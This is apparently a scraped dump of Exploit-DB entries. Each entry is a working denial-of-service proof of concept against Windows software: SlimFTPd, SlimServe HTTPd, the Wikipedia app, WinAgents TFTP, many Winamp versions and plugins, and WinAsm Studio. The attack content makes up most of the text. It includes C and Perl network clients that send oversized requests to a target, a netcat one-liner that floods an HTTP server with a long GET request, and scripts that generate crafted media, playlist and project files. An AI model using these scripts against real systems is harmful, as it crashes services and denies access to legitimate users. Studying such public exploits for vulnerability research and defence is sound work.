deardaniel/secdata-raw huggingface dataset:
Exploit-DB #26219
Description: WhitSoft Development SlimFTPd 3.17 - Remote Denial of Service
Type: dos
Platform: windows
Date: 2005-09-02
Author: Critical Security

Exploit:
// source: https://www.securityfocus.com/bid/14723/info

SlimFTPd is prone to a remote denial of service vulnerability. This issue is due to a failure in the application to handle exceptional conditions.

The problem presents itself during login. The application fails to handle malicious input in a proper manner resulting in a crash of the server, thus denying service to legitimate users. 

/*

Slim FTPd 3.17 Remote DoS PoC Exploit

Public proof of concept code by "Critical Security" http://www.critical.lt

Use for education only! Don't break the law...

Original Advisory may be found here: http://www.critical.lt/?vulnerabilities/8
Exploit compiles without warnings on FreeBSD 5.4-RELEASE
Tested against Slim FTPd 3.17 on Windows XP SP 2

Compilation:

mircia$ uname -sr
FreeBSD 5.4-RELEASE-p6
mircia$ gcc this_file.c -o expl
mircia$ ./expl localhost
here goes output

*/

#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>

#define PORT 21
#define USER "USER aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\r\n"  //
#define PASS "PASS aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\r\n" // Our dirty requests ;) 
#define QUIT "QUIT" // after all we just quit                    

int main(int argc, char *argv[]) {
  register int s;
  register int bytes;
  struct sockaddr_in sa;
  struct hostent *he;
  char buf[BUFSIZ+1];
  char *host;
  
  if ((s = socket(PF_INET, SOCK_STREAM, 0)) < 0) {
    perror("pizute");
    return 1;
  }

  bzero(&sa, sizeof sa);

  sa.sin_family = AF_INET;
  
  if (argc <= 1) {
  
  
  printf("%s%s%s","Usage: ",argv[0]," hostname or ip\n\n");
  
   } else {   
 
  host = (char *)argv[1];
  sa.sin_port = htons(PORT);

  if ((he = gethostbyname(host)) == NULL) {
    perror(host);
    return 2;
  }
  
  printf ("%s","\nCritical Security web-site: http://www.critical.lt\n");
  printf ("%s","Slim FTPd 3.17 lame PoC DoS exploit.\n");
  printf ("%s","greets to Lithuanian girlz :)\n\n"); 
  printf ("%s%s%s","[*] Initiating attack against ",host, "\n");
 
    bcopy(he->h_addr_list[0],&sa.sin_addr, he->h_length);

  if (connect(s, (struct sockaddr *)&sa, sizeof sa) < 0) {
    perror("connect");
    return 3;
  }

write(s,USER,sizeof USER); // dirty dirty dirty...
write(s,PASS,sizeof PASS);
write(s,QUIT,sizeof QUIT);

printf("%s","[*] Stuff sent, now wait for 30-120 seconds,\nserver should crash, if's not - try again or write a better code :P\n");



  close(s);
  return 0;

}}
Exploit-DB #20662
Description: WhitSoft SlimServe HTTPd 1.1 - 'GET' Denial of Service
Type: dos
Platform: windows
Date: 2001-02-28
Author: joetesta

Exploit:
source: https://www.securityfocus.com/bid/2451/info

SlimServe HTTPd is a free HTTP Daemon maintained by WhitSoft Development. SlimServe is designed to provide basic HTTP services on the Microsoft Windows platform.

A problem in the handling of HTTP GET requests could allow a remote user to deny service to legitimate users of web services. Upon requesting a long filename from the HTTP server (estimated 80000 characters), the server crashes. Upon ceasing operation, it produces an "invalid page fault" error. The service will not operate again until SlimServe is manually restarted.

It is therefore possible for a malicious remote user to connect to the server and request a long file name, crashing the server, and resulting in a denial of service attack. 

echo "GET " `perl -e 'print "A" x 80000'` | nc vulnerable.server 80
Exploit-DB #45324
Description: Wikipedia 12.0 - Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2018-09-03
Author: 0xB9

Exploit:
# Exploit Title: Wikipedia 12.0 - Denial of Service (PoC)
# Date: 9/2/2018
# Author: 0xB9
# Twitter: @0xB9Sec
# Contact: 0xB9[at]pm.me
# Software Link: https://www.microsoft.com/en-us/p/wikipedia/9wzdncrfhwm4?activetab=pivot%3aoverviewtab
# Version: 12.0
# Tested on: Windows 10

# Proof of Concept:
# Run the python script, it will create a new file "wiki.txt"
# Copy the text from the generated wiki.txt file to clipboard
# Paste the text in the search bar in the top right of app
# App will now crash

buffer = "A" * 1000
payload = buffer
try:
    f=open("wiki.txt","w")
    print "[+] Creating %s evil payload.." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"
Exploit-DB #24195
Description: WinAgents TFTP Server 3.0 - Remote Buffer Overrun
Type: dos
Platform: windows
Date: 2004-06-11
Author: Ziv Kamir

Exploit:
source: https://www.securityfocus.com/bid/10526/info

WinAgents TFTP Server is reported prone to a remote off-by-one buffer overrun vulnerability. The issue is reported to exist due to a lack of sufficient boundary checks performed on filenames when a request is made for a file. A remote attacker may make a malicious request to the server for a filename of excessive length. This request will trigger the vulnerability. Immediate consequences of such an attack will reportedly result in a denial of service.

#!/usr/bin/perl
# 
# Remote D.O.S WinAgents TFTP Server ver 3.0 
# 
# Tftp.pl <Host>

use IO::Socket;

$Tftp_Port = "69";
$FileName = "A"x1000;
$Tftp_OP = "\x00\x01";
$Tftp_M  = "bin";
$Buf = $Tftp_OP . $Tftp_M . $FileName ;

if(!($ARGV[0]))
 
 print "\nUsage: perl $0 <Host>\n" ;
 
 exit;
 

print "\nRemote D.O.S WinAgents TFTP Server ver 3.0 PoC\n\n\n";


$socket = IO::Socket::INET->new(Proto => "udp") or die "Socket Error ...\n"
;
$ipaddr = inet_aton($ARGV[0]);
$portaddr = sockaddr_in($Tftp_Port, $ipaddr);
send($socket, $Buf, 0, $portaddr) == length($Buf) or die "Error : Can't send ...\n";
print "Server : $ARGV[0] Is Down ... \n";
Exploit-DB #1935
Description: Winamp 5.21 - '.Midi' File Header Handling Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2006-06-20
Author: BassReFLeX

Exploit:
/*
 
 * ********************************************** *
 * Winamp 5.21 - Midi Buffer Overflow in_midi.dll *
 * ********************************************** *
 * PoC coded by: BassReFLeX                       *
 * Date: 19 Jun 2006                              *
 * ********************************************** *
 
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void usage(char* file);

char header[] = "\x4D\x54\x68\x64\x00\x00"
                "\x00\x06\x00\x00\x00\x01"
                "\x00\x60\x4D\x54\x72\x6B"
                "\x00\x00";

char badc0de[] = "\xFF\xFF\xFF\xFF\xFF\xFF"
		 "\xFF\xFF\xFF\xFF\xFF\xFF";
				
				 
				 
int main(int argc,char* argv[])
{
    system("cls");
    printf("\n* ********************************************** *");
    printf("\n* Winamp 5.21 - Midi Buffer Overflow in_midi.dll *");
    printf("\n* ********************************************** *");
    printf("\n* PoC coded by: BassReFLeX                       *");
    printf("\n* Date: 19 Jun 2006                              *");
    printf("\n* ********************************************** *");
    
    if ( argc!=2 )
    {
        usage(argv[0]);
    }
    
    FILE *f;
    f = fopen(argv[1],"w");
    if ( !f )
    {
        printf("\nFile couldn't open!");
        exit(1);
    }
    
                        
    printf("\n\nWriting crafted .mid file...");
    fwrite(header,1,sizeof(header),f);
    fwrite(badc0de,1,sizeof(badc0de),f);
    printf("\nFile created successfully!");
    printf("\nFile: %s",argv[1]);
    return 0;
}        

void usage(char* file)
{
    printf("\n\n");
    printf("\n%s <Filename>",file);
    printf("\n\nFilename = .mid crafted file. Example: winsploit.exe craftedsh1t.mid");
    exit(1);
}    

// milw0rm.com [2006-06-20]
Exploit-DB #3768
Description: Winamp 5.3 - '.wmv' Remote Denial of Service
Type: dos
Platform: windows
Date: 2007-04-19
Author: WiLdBoY

Exploit:
#!/usr/bin/perl

# --------------------------------- Winamp <= (WMV) 5.3 Buffer Overflow DOS Exploit (0-DAY) ---------------------------------

# Type :

# Buffer Overflow - DOS

# Release Date :

# {2007-04-16}

# Product / Vendor :

# Winamp Media Player

# http://www.winamp.com/

# Exploit :

#############################################
#Exploit Coded By UNIQUE-KEY[UNIQUE-CRACKER]#
#############################################

{

    print "\n-----------------------------------\n";

    print "Winamp <= (WMV) 5.3 Buffer Overflow DOS Exploit (0-DAY)\n";

    print "-----------------------------------\n";

    print "\nUniquE-Key{UniquE-Cracker}\n";

    print "UniquE[at]UniquE-Key.ORG\n";

    print "http://UniquE-Key.ORG\n";

    print "\n-----------------------------------\n";

    print "\nExploit Completed!\n";

    print "\n-----------------------------------\n";

}

open(wmv, ">./exploit.wmv");

print wmv "\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00".

print wmv "\x4D\x54\x68\x64";

close(wmv);

# Tested :

# --- WINAMP 5.3 Version ---

# Author :

# UniquE-Key{UniquE-Cracker}
# UniquE(at)UniquE-Key.Org
# http://www.UniquE-Key.Org

# milw0rm.com [2007-04-19]
Exploit-DB #3782
Description: Winamp 5.33 - '.avi' Remote Denial of Service
Type: dos
Platform: windows
Date: 2007-04-23
Author: DeltahackingTEAM

Exploit:
#!/usr/bin/perl

# Winamp Buffer Overflow DOS Exploit (0-DAY)

# Testet:Ver 5.3

# Discoverd By = DeltahackingTEAM    Bug Found & Exploitet By /Farzad.Sharifi(Dr.Trojan)

# Risk = High

#Exploit(EXE) =http://www.deltahacking.net/exp/winamp.exe  

#Exploit(PL)  =http://www.deltahacking.net/exp/winamp.pl

#OverflowFile(Avi) =http://www.deltahacking.net/exp/Dr.Trojan.avi

# Winamp Media Player Download=>http://www.winamp.com/


{

    print "\n================================================================================\n";

    print "\                                DeltahackingTEAM \n";

    print "\                            Delta.Secure[A]Gmail.com\n";

    print "\                      Winamp Buffer Overflow DOS Exploit \n";

    print "\We Are:Dr.Trojan,H!v++,D_7j,Impostor,Vpc,LOrd, Dr.Pantagon..Tanks 4 Mr.Str0ke \n";
   
    print "\Http://Deltahacking.net & Http://DeltaSecurity.ir & Http://PersianWhois.com\n ";

    print "\    n-------------------Exploit Completed(File Create)!-------------------\n";

    print "\n================================================================================\n";

}

open(avi, ">./Dr.Trojan.avi");

print avi "\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00".

print avi "\x4D\x54\x68\x64";

print avi "\x4D\x54\x68\x64";


print avi "\x4D\x54\x68\x64";


print avi "\x4D\x54\x68\x64";



print avi "\x4D\x54\x68\x64";

#0nLy Iran :X
#Farzad.Sharifi  

# milw0rm.com [2007-04-23]
Exploit-DB #7742
Description: Winamp 5.541 - '.mp3'/'.aiff' File Multiple Denial of Service Vulnerabilities
Type: dos
Platform: windows
Date: 2009-01-12
Author: securfrog

Exploit:
################################################################################################################################
#Winamp <= 5.541 multiples Denial of Services (MP3/AIFF)
#
# Winamp MP3 file parsing DoS ==>
#!/usr/bin/perl
use strict;
my $mp3 =
"\x49\x44\x33\x00\x00\x00\x00\x00\x09\x07\x54\x49\x54\x32\x00\x00\x00\x08\x00\x00\x00".
"\x50\x69\x73\x74\x65\x20\x35\x54\x50\x45\x31\x00\x00\x00\x05\x00\x00\x00\x41\x6e".
"\x69\x73\x54\x41\x4c\x42\x00\x00\x00\x0d\x00\x00\x00\x62\x6c\x61\x62\x6c\x61\x20".
"\x44\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
my $mp32 =
"\x20" x 1500;

open(out, "> test.mp3");
binmode(out);
print (out $mp3, $mp32);
close(out);

#### Winamp AIFF file parsing header heap overflow :
#!/usr/bin/perl
use strict;
my $aiff =
"\x46\x4f\x52\x4d\x00\x04\xcd\xec\x41\x49\x46\x46\x43\x4f\x4d\x4d\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x20\x5e\x01\x18\x0f\x3c\x0e\xe4".
"\x00";
open(out, "> test.aiff");
binmode(out);
print (out $aiff);
close(out);

# milw0rm.com [2009-01-12]
Exploit-DB #11532
Description: Winamp 5.57 - 'Browser' IE Denial of Service
Type: dos
Platform: windows
Date: 2010-02-22
Author: cr4wl3r

Exploit:
<!--
#[+]---------------------------------------------------------------------------------[+]#
# Winamp 5.57 (Browser) IE Denial of Service Exploit
# Homepage: http://www.winamp.com/
# Exploit Coded by: cr4wl3r <cr4wl3r\x40linuxmail\x2Eorg>
# From: Indonesia
# Tested Win xp(sp2)
# Greetz: no thanks :)
###########################################################
# Usage: change your winamp skin with bento, to open browser press ALT + X 
#        drag or load file to browser and keep smile :)
###########################################################
#[+]---------------------------------------------------------------------------------[+]#
##################################### Proud to be Muslim ###################################

-->


<iframe src="file://þ:/SOS">


<!--

HACKER CITY GORONTALO INDONESIA

-->
Exploit-DB #10593
Description: Winamp 5.57 - Stack Overflow
Type: dos
Platform: windows
Date: 2009-12-22
Author: scriptjunkie

Exploit:
# Exploit Title: Winamp <= 5.57 Stack Overflow
# Date: 22 Dec 2009
# Author: scriptjunkie, scriptjunkie.1 {nospam} googlemail {nospam} com
# Software Link: http://www.winamp.com/media-player
# Version: 5.57, 5.56
# Tested on: Windows XP, Windows 7
# CVE: none at time of writing
# Code: 

PHP:

<?php 
header("Content-type: audio/x-mpegurl");
echo $_SERVER["SCRIPT_URI"]."/blah.m3u";
?>



Local M3U:
echo "a.m3u" > a.m3u

# OMG WE'RE PWNED: chill, it's not a stack buffer overflow, just a stack overflow. DoS.
Exploit-DB #14102
Description: Winamp 5.571 - '.avi' Denial of Service
Type: dos
Platform: windows
Date: 2010-06-28
Author: Praveen Darshanam

Exploit:
# Tested on Windows 7 and Winamp v5.571(x86)
# This bug is informed to Nullsoft and was fixed long back.
# The status can be found at http://forums.winamp.com/showthread.php?s=&threadid=316000 
# This code works on Python 3.0. To make it work on <3.0 remove braces in print

print("\n***Winamp v5.571 malicious AVI file handling DoS Vulnerability***\n")

try:
        open('winampcrash.avi', 'w')
        print ("Creating malicious AVI file . . . \n")
        print ("Successfully created Zero size AVI file\n")
        print ("Open created Zero size AVI file in Winamp.....Boom\n\n")
except IOError:                     
        print ("Unable to create Zero size AVI file\n")
        




"""
Following is the WinDBG status when we open winampcrash.AVI file in Winamp v5.571(x86)

(f00.e60): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=00000000 edx=00000000 esi=0886fe68 edi=02880618
eip=076243f1 esp=0886fc50 ebp=0886ff28 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
in_AVI!winampGetInModule2+0x13da:
076243f1 8b4008          mov     eax,dword ptr [eax+8] ds:002b:00000008=????????


"""


#Best Regards,
#Praveen Darshanam
Exploit-DB #11248
Description: Winamp 5.572 - 'whatsnew.txt' Stack Overflow (PoC)
Type: dos
Platform: windows
Date: 2010-01-24
Author: Debug

Exploit:
# Author: Debug (eldadru@gmail.com)
# Version: 5.572
# Tested on: Windows xp(sp2)


#!/usr/bin/perl


# Replace whatsnew.txt , open Winamp click Help->about winamp-> version history.
# hacking.org.il.

#EAX 00000000
#ECX 00000000
#EDX 00661658
#EBX 00000000
#ESP 00B7EDE8 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
#EBP 00B7EDFC ASCII "AAAAAAAAAAAAAAAAAAA"
#ESI 00401280 winamp.00401280
#EDI 00000000
#EIP 41414141

my $overflow="Winamp 5.572"."A"x600;

open(myfile,'>>whatsnew.txt');

print myfile $overflow;
Exploit-DB #12494
Description: Winamp 5.572 - Local Crash (PoC)
Type: dos
Platform: windows
Date: 2010-05-03
Author: R3d-D3V!L

Exploit:
#!\C:\Perl\bin
##################################{In The Name Of Allah The Mercifull}######################

# Title : WiNamP V5.572 0day suffer from local CRASH PoC
# Tested : Windows xp (sp3) 
# AUThoR: R3d-D3v!L
# Credits to : XP10_HACKER     XP10.ME

print qq( 
################################################### 
## WiNamP V5.572 0day (SWF) local CRASH PoC      ## 
## Credits : XP10.ME                             ## 
##           XP10_HACKER                         ## 
## Author : R3d-D3v!L       <X[at]hotmail.co.jp> ## 
## Greetz : DR_DAShER   &  JUPA                  ## 
## all member at XP10.ME                         ## 
################################################### 
);

$XP10_hacker="\nbody {alink: "."A/" x 9999999 ."}\n"; 
open(file ,'>>X.swf'); 
print file $XP10_hacker; 
print "CODED BY R3d-D3V!L~#\n";
close(file); 

#[~]-----------------------------{((MAGOUSH-87))}--------------------------------------- 
#[~] Greetz tO: [dolly & MERNA & DEV!L_MODY & po!S!ON Sc0rp!0N & mAG0ush-1987]
#[~]70 ALL ARAB!AN HACKER 3X3PT : LAM3RZ 
#[~] spechial thanks : ab0 mohammed & XP_10 h4CK3R & JASM!N & c0prA & MARWA & N0RHAN & S4R4 
#[?]spechial SupP0RT : MY M!ND  
#[?]4r48!4n.!nforma7!0N.53cur!7y ---> ((r3d D3v!L<--M2Z--->JUPA<---aNd--->Devil ro0t)) 
#[~]spechial FR!ND: 0r45hy
#[~] !'M 4R48!4N 3XPL0!73R.
#[~]{[(D!R 4ll 0R D!E)]}; 
  
#[~]---------------------------------------------------------------------------------------------
Exploit-DB #7696
Description: Winamp GEN_MSN Plugin - Heap Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2009-01-07
Author: SkD

Exploit:
#!/usr/bin/perl
# WinAmp GEN_MSN Plugin Heap Buffer Overflow
# ------------------------------------
# Discovered by SkD (skdrat@hotmail.com) &
#		    (skd@abysssec.com)
# ------------------------------------
#
# I'm not much for posting PoCs because
# I like writing exploits for whatever
# I discover and if I don't, its a waste.
#
# Anyway, this buffer overflow is located
# in the gen_msn plugin, which
# is basically a plugin that shows what
# song you're currently listening to
# on your PM in MSN. The plugin has over
# 800,000 downloads so its serious..
# (http://www.winamp.com/plugins/details/144799)
# This is similar to my other recent exploit
# for VUPlayer because it uses the same point
# of the .PLS playlist file!
#
# Debug Info:
# MOV EDI,DWORD PTR DS:[ECX+EAX*4+960]
# Regs:
# EAX 00000003
# ECX 41414141   <- Clear control over the register
# EDX 007EA478
# EBX 40000001
# ESP 028F1DB0
# EBP 77230459 USER32.SendMessageA
# ESI 08FD62A8 gen_msn.08FD62A8
# EDI 00497300 UNICODE "http://AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
# EIP 08FD293C gen_msn.08FD293C
#
# Peace out.
#                           _________ ___   ________
#                          /   _____/|  | __\______ \
#                          \_____  \ |  |/ / |    |  \
#                          /        \|    <  |    `   \
#                         /_______  /|__|_ \/_______  /
#                                 \/      \/        \/
use strict;
use warnings;

my $overflow = "\x41" x 2048;

open(my $pls_playlist, "> poc.pls");
print $pls_playlist "[playlist]\r\n".
		    "NumberOfEntries=1\r\n".
                    "File1=http://".
                    $overflow.
                    "\r\n";
close $pls_playlist;

# milw0rm.com [2009-01-07]
Exploit-DB #43186
Description: Winamp Pro 5.66.Build.3512 - Denial of Service
Type: dos
Platform: windows
Date: 2017-11-22
Author: R.Yavari

Exploit:
#!/usr/bin/perl
# Exploit Title: Winamp Pro (.wav|.wmv|.au|.asf|.aiff|.aif ) Denial of Service
# Date: 2017-11-22
# Exploit Author: R.Yavari
# Version: v5.66.Build.3512
# Tested on: Windows 10 , Windows 7
# other version should be affected
# CVE-2017-16951
# http://meggamusic.co.uk/winamp/winamp5666_full_en-us_redux.exe
# (D.P)
open(code, ">winamp.wav") || die "can't create crash sample.$!";
binmode(code);
$data = 
"\x52\x49\x46\x46\xc2\x58\x01\x00\x57\x41\x56\x45\x44\x44\x44\x44" .
"\xf8\xff\xff\xff\x01\x00\x01\x00\x22\x56\x00\x00\x44\xac\x00\x00" .
"\x02\x00\x10\x00\x00\x00\x66\x61\x63\x74\x04\x00\x00\x00\x48\xac" .
"\x13\x00\x13\x00\x12\x00\x14\x00\x14\x00";


print code $data;
 
close(code);
Exploit-DB #8224
Description: WinAsm Studio 5.1.5.0 - Local Heap Overflow (PoC)
Type: dos
Platform: windows
Date: 2009-03-16
Author: Stack

Exploit:
# WinAsm Studio 5.1.5.0 Local Heap Overflow Poc
# By Mountassif Moad
# D0wnload : http://www.winasm.net/index.php?ind=downloads&op=download_file&ide=182&file=WinAsm515Full.zip
# Greatz : Simo-Soft - Skd - fl0 fl0w - Str0ke & By By milw0rm :d
#
# Registers
# EAX 00000001
# ECX 00000001
# EDX 0013F814
# EBX 42424242  ( EBX overwrited :d )
# ESP 0013FBDC
# EBP 0013FE3C
# ESI 0013FBF7
# EDI 0013FD2F ASCII "BBBBBBBBBB" (next chars in EDI :d )
# EIP 0040A927 WinAsm.0040A927
my $m=
"\x5B\x46\x49\x4C\x45\x53\x5D\x0D\x31\x3D".
"\x41" x 227 .
"\x42" x 4 .
"\x43" x 20 .
"\x0D\x5B\x50\x52".
"\x4F\x4A\x45\x43\x54\x5D\x0D\x54\x79\x70\x65\x3D\x0D\x52".
"\x65\x6C\x65\x61\x73\x65\x43\x6F\x6D\x6D\x61\x6E\x64\x4C\x69\x6E".
"\x65\x3D\x0D\x44\x65\x62\x75\x67\x43\x6F\x6D\x6D\x61\x6E\x64".
"\x4C\x69\x6E\x65\x3D\x0D\x41\x75\x74\x6F\x49\x6E\x63\x46\x69".
"\x6C\x65\x56\x65\x72\x73\x69\x6F\x6E\x3D\x30\x0D\x52\x43\x53".
"\x69\x6C\x65\x6E\x74\x3D\x30\x0D\x50\x65\x6C\x6C\x65\x73\x54".
"\x6F\x6F\x6C\x73\x3D\x30\x0D\x5B\x4D\x41\x4B\x45\x5D\x0D".
"\x41\x63\x74\x69\x76\x65\x42\x75\x69\x6C\x64\x3D\x30\x0D\x43".
"\x6F\x6D\x70\x69\x6C\x65\x52\x43\x3D\x0D\x52\x43\x54\x6F\x4F".
"\x62\x6A\x3D\x0D\x41\x73\x73\x65\x6D\x62\x6C\x65\x3D\x2F\x63".
"\x0D\x4C\x69\x6E\x6B\x3D\x0D\x4F\x75\x74\x3D\x0D\x44".
"\x65\x62\x41\x73\x73\x65\x6D\x62\x6C\x65\x3D\x2F\x63\x0D\x44".
"\x65\x62\x4C\x69\x6E\x6B\x3D\x0D\x44\x65\x62\x4F\x75\x74\x3D";
print $m;
print "\n";
print " ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n";
print " +++    WinAsm Studio 5.1.5.0 Local Heap Overflow Poc       +++\n";
print " +++    Written By Stack                                    +++\n";
print " +++    Usage Ex.: perl $0 >>Exploit.wap                    +++\n";
print " ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n";
exit;

# milw0rm.com [2009-03-16]